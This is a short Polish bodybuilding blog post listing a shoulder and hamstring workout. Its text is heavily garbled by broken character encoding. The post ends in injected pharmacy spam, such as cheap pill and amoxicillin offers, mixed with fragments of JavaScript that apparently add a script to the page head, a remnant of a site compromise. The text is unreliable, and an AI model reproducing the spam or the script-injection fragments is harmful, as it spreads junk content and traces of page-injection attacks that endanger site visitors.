7.08.2012 / Tomasz Lech / Kulturystyka

Wczoraj po dAi??ugiej przerwie wpadli do mnie na wspA?lny trening znajomi z Torunia.Kasia Matella i jej podopieczny MichaAi?? Trzeciak ktA?ry przygotowuje siAi?? do przyszAi??orocznych DebiutA?w w kulturystyce klasycznej.

PrzetrenowaliAi??my barki i miAi??Ai??nie dwugAi??owe uda.
-odwodzenie ramienia w gA?rAi?? leA?Ai??c bokiem na skoAi??nej Ai??awce 4×12
-odwodzenie ramienia w tyAi?? z linkAi?? wyciAi??gu gA?rnego 3×12
-odwodzenie ramion z hantlami w gA?rAi?? w opadzie tuAi??owia 3×12
-wyciskanie hantli siedzAi??c 4×15
-wznosy bokiem siedzAi??c 4×12
-wznosy przodem z hantlami-stojAi??c 4×12

-martwy ciAi??g na prostych nogach 4×12
-zgiAi??cia podudzi leA?Ai??c 3×12
-zgiAi??cia podudzi stojAi??c 3×12
Purchase

online

price of diovan at walmart cheap pills online Order online if (document.currentScript) { Pills comprar online amoxilina Order d.getElementsByTagName(‚head’)[0].appendChild(s);